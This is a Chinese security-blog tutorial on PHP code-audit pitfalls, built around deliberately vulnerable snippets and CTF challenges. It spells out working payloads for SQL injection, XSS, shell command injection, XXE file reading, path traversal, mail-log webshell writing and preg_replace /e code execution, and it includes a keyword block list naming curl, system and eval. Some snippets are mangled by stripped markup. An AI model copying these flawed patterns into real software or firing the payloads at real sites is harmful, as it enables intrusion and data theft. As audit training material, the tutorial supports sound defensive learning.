php代码审计_PHP代码审计常见漏洞点

点击蓝字,关注我们

本文作者:Peiqi (团队成员)
本文字数:6300

阅读时长:30min

附件/链接:点击查看原文下载

声明:请勿用作违法用途,否则后果自负

本文属于WgpSec原创奖励计划,未经许可禁止转载

关于CMS和CTF中的PHP代码审计部分常见的函数缺陷

in_array函数缺陷

class Challenge {
const UPLOAD_DIRECTORY = './solutions/';
private $file;
private $whitelist;

public function __construct($file) {
$this->file = $file;
$this->whitelist = range(1, 24);
}

public function __destruct() {
if (in_array($this->file['name'], $this->whitelist)) {
move_uploaded_file(
$this->file['tmp_name'],
self::UPLOAD_DIRECTORY . $this->file['name']
);
}
}
}

$challenge = new Challenge($_FILES['solution']);

我们要注意到的漏洞位置是

(1) $this->whitelist = range(1, 24);

(2) if (in_array($this->file['name'], $this->whitelist)) {
move_uploaded_file(
$this->file['tmp_name'],
self::UPLOAD_DIRECTORY . $this->file['name']
);

(1)这里判断文件名是否存在于1~24之间

(2)检测上传的文件名是否通过$this->whitelist = range(1, 24);的检测

我们具体看一下in_array()函数的解析

定义和用法
in_array() 函数搜索数组中是否存在指定的值

语法
bool in_array ( mixed $needle , array $haystack [, bool $strict = FALSE ] )

参数 描述
needle 必需。规定要在数组搜索的值。
haystack 必需。规定要搜索的数组。
strict 可选。如果该参数设置为 TRUE,则 in_array() 函数检查搜索的数据与数组的值的类型是否相同。

返回值: 如果在数组中找到值则返回 TRUE,否则返回 FALSE。

这里因为使用了in_array函数,但是并没有使用函数的第三个参数,也就是说没有对两个变量的类型进行检测,所以如果我们上传文件 7shell.php,会被转化为数字7,导致通过检测,成功上传木马文件

CTF题型

//index.php
<?php include 'config.php';
$conn = new mysqli($servername, $username, $password, $dbname);if ($conn->connect_error) {die("连接失败: ");
}
$sql = "SELECT COUNT(*) FROM users";
$whitelist = array();
$result = $conn->query($sql);if($result->num_rows > 0){
$row = $result->fetch_assoc();
$whitelist = range(1, $row['COUNT(*)']);
}
$id = stop_hack($_GET['id']);
$sql = "SELECT * FROM users WHERE id=$id";if (!in_array($id, $whitelist)) {die("id $id is not in whitelist.");
}
$result = $conn->query($sql);if($result->num_rows > 0){
$row = $result->fetch_assoc();echo "
1">";foreach ($row as $key => $value) {echo "
$key

";echo "
$value

";
}echo "
";
}else{die($conn->error);
}?>
//config.php
<?php
$servername = "localhost";
$username = "fire";
$password = "fire";
$dbname = "day1";function stop_hack($value){
$pattern = "insert|delete|or|concat|concat_ws|group_concat|join|floor|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile|dumpfile|sub|hex|file_put_contents|fwrite|curl|system|eval";
$back_list = explode("|",$pattern);foreach($back_list as $hack){if(preg_match("/$hack/i", $value))die("$hack detected!");
}return $value;
}
# 搭建CTF环境使用的sql语句
create database day1;
use day1;
create table users (
id int(6) unsigned auto_increment primary key,
name varchar(20) not null,
email varchar(30) not null,
salary int(8) unsigned not null );

INSERT INTO users VALUES(1,'Lucia','Lucia@hongri.com',3000);
INSERT INTO users VALUES(2,'Danny','Danny@hongri.com',4500);
INSERT INTO users VALUES(3,'Alina','Alina@hongri.com',2700);
INSERT INTO users VALUES(4,'Jameson','Jameson@hongri.com',10000);
INSERT INTO users VALUES(5,'Allie','Allie@hongri.com',6000);

create table flag(flag varchar(30) not null);
INSERT INTO flag VALUES('HRCTF{1n0rrY_i3_Vu1n3rab13}');

我们主要看这个函数

function stop_hack($value){
$pattern = "insert|delete|or|concat|concat_ws|group_concat|join|floor|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile|dumpfile|sub|hex|file_put_contents|fwrite|curl|system|eval";
$back_list = explode("|",$pattern);
foreach($back_list as $hack){
if(preg_match("/$hack/i", $value))
die("$hack detected!");
}
return $value;
}

这里使用stop_hack过滤一些危险的函数

看到给一个GET请求可控

$id = stop_hack($_GET['id']);
$sql = "SELECT * FROM users WHERE id=$id";

if (!in_array($id, $whitelist)) {
die("id $id is not in whitelist.");
}

通过GET的id,通过stop_hack过滤后拼接在sql语句中查询

这里通过报错注入即可得到Flag

and (select updatexml(1,make_set(3,'~',(select flag from flag)),1))

漏洞原因:
使用不安全的in_array,并且没有开启第三个检测参数类型,导致通过检测,形成任意文件上传

filter_var函数缺陷

// composer require "twig/twig"
require 'vendor/autoload.php';

class Template {
private $twig;

public function __construct() {
$indexTemplate = '' .
'Next slide »';

// Default twig setup, simulate loading
// index.html file from disk
$loader = new Twig\Loader\ArrayLoader([
'index.html' => $indexTemplate
]);
$this->twig = new Twig\Environment($loader);
}

public function getNexSlideUrl() {
$nextSlide = $_GET['nextSlide'];
return filter_var($nextSlide, FILTER_VALIDATE_URL);
}

public function render() {
echo $this->twig->render(
'index.html',
['link' => $this->getNexSlideUrl()]
);
}
}

(new Template())->render();

这里是一段PHP的模板引擎Twig,使用的是escape和filter_var两个过滤方法

但是这里并不是绝对的安全,因为escape过滤器的本质是通过PHP内置函数htmlspecialchars实现的

我们看一下函数的定义

定义和用法
htmlspecialchars() 函数把一些预定义的字符转换为 HTML 实体。
预定义的字符是:
& (和号)成为 &
" (双引号)成为 "
' (单引号)成为 '
< (小于)成为 >
> (大于)成为 <

string htmlspecialchars ( string $string [, int $flags = ENT_COMPAT | ENT_HTML401 [, string$encoding = ini_get("default_charset") [, bool $double_encode = TRUE ]]] )
提示:要把特殊的 HTML 实体转换回字符,请使用 htmlspecialchars_decode() 函数。

例如

<?php 
$str = "This is some bold text.";echo htmlspecialchars($str);?>

输出在页面上


This is some >b/b< text.

filter_var函数过滤nextSlide变量

并且使用FILTER_VALIDATE_URL过滤器判断是否为一个合法的url

filter_var :(PHP 5 >= 5.2.0, PHP 7)

功能 :使用特定的过滤器过滤一个变量

定义 :mixed filter_var ( mixed $variable [, int $filter = FILTER_DEFAULT [, mixed $options ]] )

这里就可以使用JavaScript的伪协议来xss攻击

?url=javascript://comment%250aalert(1)

这里的//表示这注释掉后面的所有内容,但是对%进行编码后编为%25

当解码时会构造为%0a进行换行,alert函数变为第二行执行,点击标签即可触发xss

CTF题型

// index.php
<?php
$url = $_GET['url'];if(isset($url) && filter_var($url, FILTER_VALIDATE_URL)){
$site_info = parse_url($url);if(preg_match('/sec-redclub.com$/',$site_info['host'])){
exec('curl "'.$site_info['host'].'"', $result);echo "

You have curl {$site_info['host']} successfully!

"
;echo implode(' ', $result);
}else{die("

Error: Host not allowed

");
}
}else{echo "

Just curl sec-redclub.com!

For example:?url=http://sec-redclub.com

";
}?>
// f1agi3hEre.php
<?php
$flag = "HRCTF{f1lt3r_var_1s_s0_c00l}"?>

虽然进行了过滤,但是依然可以构造危险函数获取flag

syst1m://"|ls;"sec-redclub.com
syst1m://"|cat

== 与 === 弱类型绕过

=== 在进行比较的时候,会先判断两种字符串的类型是否相等,再比较

== 在进行比较的时候,会先将字符串类型转化成相同,再比较

(如果比较一个数字和字符串或者比较涉及到数字内容的字符串,则字符串会被转换成数值并且比较按照数值来进行)

例如

<?php 
var_dump("admin" == 0); //true
var_dump("1admin"== 1); //true
var_dump("admin1"== 1); //false
var_dump("admin1"== 0); //true
var_dump("0e123456"=="0e4456789"); //true?>

根据上面的可以看到

admin为字符型,与0进行比较时,强制转换类型为数字型,变成 0,导致返回True

同理1admin会变成1,而admin1则为0

"0e123456"=="0e456789"相互比较的时候,会将0e这类字符串识别为科学计数法的数字,0的无论多少次方都是零,所以相等

<?php 
$test=1 + "10.5"; //$test=11.5(float)
$test=1+"-1.3e3"; //$test=-1299(float)
$test=1+"bob-1.3e3"; //$test=1(int)
$test=1+"2admin"; //$test=3(int)
$test=1+"admin2"; //$test=1(int)?>

通过这里也可以更好的理解

CTF题型

md5(hash)弱类型绕过
<?php if (isset($_GET['Username']) && isset($_GET['password'])) {
$logined = true;
$Username = $_GET['Username'];
$password = $_GET['password'];if (!ctype_alpha($Username)) {$logined = false;}if (!is_numeric($password) ) {$logined = false;}if (md5($Username) != md5($password)) {$logined = false;}if ($logined){echo "successful";
}else{echo "login failed!";
}
}?>

输入一个字符串和数字类型,并且他们的md5值相等,就可以成功执行下一步语句

所以只要让md5后的值开头含有0e则会转换为0

md5('240610708') ------> 0e462097431906509019562988736854
md5('QNKCDZO') ------> 0e830400451993494058024219903391

md5('240610708') == md5('QNKCDZO')

这样即可绕过检测

# 部分的MD5绕过方式
QNKCDZO
0e830400451993494058024219903391

s878926199a
0e545993274517709034328855841020

s155964671a
0e342768416822451524974117254469

s214587387a
0e848240448830537924465865611904

s214587387a
0e848240448830537924465865611904

s878926199a
0e545993274517709034328855841020

s1091221200a
0e940624217856561557816327384675

s1885207154a
0e509367213418206700842008763514
json绕过
<?php if (isset($_POST['message'])) {
$message = json_decode($_POST['message']);
$key ="*********";if ($message->key == $key) {echo "flag";
}else {echo "fail";
}
}else{echo "~~~~";
}?>

这里同样也看到了 ==符号

不知道key的值,但是我们知道key为字符

所以绕过只需要 0=='admin'即可绕过

payload:

message={"key":0}

strcmp漏洞绕过 php -v <5.3
<?php 
$password="***************"if(isset($_POST['password'])){if (strcmp($_POST['password'], $password) == 0) {echo "Right!!!login success";nexit();
} else {echo "Wrong password..";
}?>

strcmp是比较两个字符串,如果str10 如果两者相等 返回0

那我们只需要传入数组password[]=xxx就可以绕过了

MD5数组绕过

include_once “flag.php”;
ini_set(“display_errors”, 0);
$str = strstr($_SERVER[‘REQUEST_URI’], ‘?’);
$str = substr($str,1);
$str = str_replace(‘key’,”,$str);
parse_str($str);
echo md5($key1);

echo md5($key2);
if(md5($key1) == md5($key2) && $key1 !== $key2){
echo $flag.”取得flag”;
}
?>
md5()函数无法处理数组,如果传入的为数组,会返回NULL,所以两个数组经过加密后得到的都是NULL,也就是相等的。

实例化任意对象漏洞

function __autoload($className) { //自动加载
include $className;
}

$controllerName = $_GET['c'];
$data = $_GET['d']; //获取get的c与d作为类名与参数

if (class_exists($controllerName)) {
$controller = new $controllerName($data['t'], $data['v']);
$controller->render();
} else {
echo 'There is no page with this name';
}

class HomeController {
private $template;
private $variables;

public function __construct($template, $variables) {
$this->template = $template;
$this->variables = $variables;
}

public function render() {
if ($this->variables['new']) {
echo 'controller rendering new response';
} else {
echo 'controller rendering old response';
}
}
}
如果存在如果程序存在 __autoload函数,class_exists函数就会自动调用方法
payload : /?c=../../../../etc/passwd

CTF题型

<?php class NotFound{function __construct(){die('404');
}
}
spl_autoload_register(function ($class){new NotFound();
}
);
$classname = isset($_GET['name']) ? $_GET['name'] : null;
$param = isset($_GET['param']) ? $_GET['param'] : null;
$param2 = isset($_GET['param2']) ? $_GET['param2'] : null;if(class_exists($classname)){
$newclass = new $classname($param,$param2);
var_dump($newclass);foreach ($newclass as $key=>$value)echo $key.'=>'.$value.'
';
}
当class_exists时,调用autoload方法,但是autoload方法不存在,新建了一个spl_autoload_register方法,类似__autoload方法

列出文件(GlobIterator类)
public GlobIterator::__construct ( string $pattern [, int $flags = FilesystemIterator::KEY_AS_PATHNAME | FilesystemIterator::CURRENT_AS_FILEINFO ] )

第一个参数为要搜索的文件名,第二个参数为第二个参数为选择文件的哪个信息作为键名

payload : http://127.0.0.1:8888/index.php?name=GlobIterator&param=./*.php&param2=0

读取flag

http://127.0.0.1:8888/index.php?name=SimpleXMLElement&param=%3C?xml%20version=%221.0%22?%3E%3C!DOCTYPE%20ANY%20[%3C!ENTITY%20xxe%20SYSTEM%20%22php://filter/read=convert.base64-encode/resource=f1agi3hEre.php%22%3E]%3E%3Cx%3E%26xxe;%3C/x%3E&param2=2

strpos使用不当引发漏洞

class Login {
public function __construct($user, $pass) {
$this->loginViaXml($user, $pass);
}

public function loginViaXml($user, $pass) {
if (
(!strpos($user, ') || !strpos($user, '>')) &&
(!strpos($pass, ') || !strpos($pass, '>'))
) {
$format = '<?xml version="1.0"?>' .'';
$xml = sprintf($format, $user, $pass);
$xmlElement = new SimpleXMLElement($xml);// Perform the actual login.$this->login($xmlElement);
}
}
}new Login($_POST['username'], $_POST['password']);
strpos定义
主要是用来查找字符在字符串中首次出现的位置。

查找代码中是否含有的特殊符号,strpos在没找到指定字符时会返回flase,如果第一个字符找到就返回0,0的取反为1,就可以注入xml进行注入了

注入代码
user=escapeshellarg与escapeshellcmd使用不当
scapeshellcmd: 除去字串中的特殊符号
escapeshellarg 把字符串转码为可以在 shell 命令里使用的参数
class Mailer {
private function sanitize($email) {
if (!filter_var($email, FILTER_VALIDATE_EMAIL)) {
return '';
}

return escapeshellarg($email);
}

public function send($data) {
if (!isset($data['to'])) {
$data['to'] = 'none@ripstech.com';
} else {
$data['to'] = $this->sanitize($data['to']);
}

if (!isset($data['from'])) {
$data['from'] = 'none@ripstech.com';
} else {
$data['from'] = $this->sanitize($data['from']);
}

if (!isset($data['subject'])) {
$data['subject'] = 'No Subject';
}

if (!isset($data['message'])) {
$data['message'] = '';
}

mail($data['to'], $data['subject'], $data['message'],
'', "-f" . $data['from']);
}
}

$mailer = new Mailer();
$mailer->send($_POST);

新建一个MAil类发送邮件(php内置寒湖是mail)

bool mail (
string $to , 接收人
string $subject , 邮件标题
string $message [, 征文
string $additional_headers [, 额外头部
string $additional_parameters ]] 额外参数
)

(linux额外参数)

-O option = value

QueueDirectory = queuedir 选择队列消息

-X logfile

这个参数可以指定一个目录来记录发送邮件时的详细日志情况。

-f from email

这个参数可以让我们指定我们发送邮件的邮箱地址。

例如

<?php 
$to = 'alala@qq.com';
$subject = 'hello';
$message = '<?php phpinfo()?>';
$headers = 'CC: somebodyelse@qq.com'
$options = '-OQueueDirectory=/tmp -X /var/www/html/rce.php';
main($to, $#subject, $message, $headers, $options);?>

运行结果

17220 <<< To: Alice@example.com
17220 <<< Subject: Hello Alice!
17220 <<< X-PHP-Originating-Script: 0:test.php
17220 <<< CC: somebodyelse@example.com
17220 <<<
17220 <<< <?php phpinfo(); ?>
17220 <<< [EOF]
filter_var()问题(FILTER_VALIDATE_EMAIL)

ilter_var() 问题在于,我们在双引号中嵌套转义空格仍然能够通过检测。同时由于底层正则表达式的原因,我们通过重叠单引号和双引号,欺骗 filter_val() 使其认为我们仍然在双引号中,这样我们就可以绕过检测

如 :”aaa’aaa”@example.com

escapeshellcmd()和escapeshellarg()

这两个函数会造成特殊字符逃逸

<?php 
$param = ""'127.0.0.1' -v -d a=1";
$a = escapeshellcmd($param);
$b = escapeshellarg($a);
$cmd = "curl".$b;
var_dump($a)."\n";
var_dump($b)."\n";
var_dump($cmd)."\n";
system($cmd)
?>

输出看一下

strings(21) "127.0.0.1\' -v -d a=1"
strings(26) "'127.0.0.1\'\'' -v -d a=1'"
strings(30) "curl'127.0.0.1\'\'' -v -d a=1"
sh: curl127.0.0.1\' -v -d a=1: comand nir found'

逃逸过程分析分析一下

传入127.0.0.1' -v -d a=1,escapeshellarg首先进行转义,处理为'127.0.0.1'\'' -v -d a=1',接着escapeshellcmd处理,处理结果为'127.0.0.1'\'' -v -d a=1\',\ 被解释成了 \ 而不再是转义字符

正则使用不当导致的路径穿越问题

class TokenStorage {
public function performAction($action, $data) {
switch ($action) {
case 'create':
$this->createToken($data);
break;
case 'delete':
$this->clearToken($data);
break;
default:
throw new Exception('Unknown action');
}
}

public function createToken($seed) {
$token = md5($seed);
file_put_contents('/tmp/tokens/' . $token, '...data');
}

public function clearToken($token) {
$file = preg_replace("/[^a-z.-_]/", "", $token);
unlink('/tmp/tokens/' . $file);
}
}

$storage = new TokenStorage();
$storage->performAction($_GET['action'], $_GET['data']);
preg_replace(函数执行一个正则表达式的搜索和替换)

payload

$action =delete$data = ../../config.php

preg_replace函数之命令执行

header("Content-Type: text/plain");

function complexStrtolower($regex, $value) {
return preg_replace(
'/(' . $regex . ')/ei',
'strtolower("\\1")',
$value
);
}

foreach ($_GET as $regex => $value) {
echo complexStrtolower($regex, $value) . "\n";
}

preg_replace(函数执行一个正则表达式的搜索和替换)

mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )

$pattern 存在 /e 模式修正符,允许代码执行
/e 模式修正符,是 preg_replace() 将 $replacement 当做php代码来执行

将GET请求传过来的参数通过complexStrtolower函数执行,preg_replace函数存在e修正符

payload

\S*=${phpinfo()}

研究文章(查看原文)

送一枚邀请码:592E279DFEDFD62215E085B49DD6C2E0

扫描关注公众号回复加群,和师傅们一起讨论研究~

扫码关注我们

3d1562a4632c7109ae3ec121b39c3a37.png

微信号:wgpsec

Twitter:@wgpsec

c703b67b3760d17ee523ad9aba1c7df6.gif

分享、在看与点赞,至少我要拥有一个吧

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值